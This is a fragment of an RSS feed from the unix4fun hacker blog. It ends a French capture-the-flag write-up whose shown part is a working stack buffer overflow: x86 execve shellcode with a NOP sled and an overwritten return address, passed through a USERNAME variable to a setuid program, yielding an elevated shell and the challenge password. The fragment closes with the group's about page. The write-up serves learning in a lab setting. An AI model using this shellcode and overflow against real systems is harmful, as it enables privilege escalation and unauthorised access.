<pre><code>$ export shbuf=$(perl -e 'print &quot;\x90&quot;x103 . &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80&quot;')
$ perl -e 'print &quot;USERNAME=&quot; . &quot;'$shbuf'&quot; . &quot;'$uid'&quot; . &quot;'$pid'&quot; . &quot;'$fileptr'&quot; . &quot;B&quot;x28 . &quot;\x47\xfd\xff\xbf&quot;x2' &gt; &quot;$binpath&quot; &amp;&amp; ./prog&quot;$binpath&quot;
sh-4.2$
sh-4.2$ id
uid=1110(user) gid=1110(user) euid=1210(user-cracked) groups=1210(user-cracked),100(users),1110(user)
sh-4.2$ cat .passwd
Tirelipimponsurlechiwawa!
</code></pre>
<p>Et youpi les knackis, on peut valider ce challenge!</p>
</description>
</item>
<item>
<title>about unix4fun</title>
<link>https://unix4fun.github.io/about/</link>
<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
<guid>https://unix4fun.github.io/about/</guid>
<description>
<h1 id="what">what?!</h1>
<p>We&rsquo;re just a bunch of nameless individuals/friends.</p>
<p>We&rsquo;re just having some fun with &ldquo;stuff&rdquo; (sound, computers, etc..)</p>
<p>We&rsquo;re trying to keep ego out of the equation.</p>
<p>We&rsquo;re trying to remains open to all sorts of technology/hacks.</p>
<p>We&rsquo;ve been raised under the UNIX propaganda as it is where we&rsquo;ve learned everything we know.</p>
<p>That&rsquo;s about it&hellip;</p>
</description>
</item>
</channel>
</rss>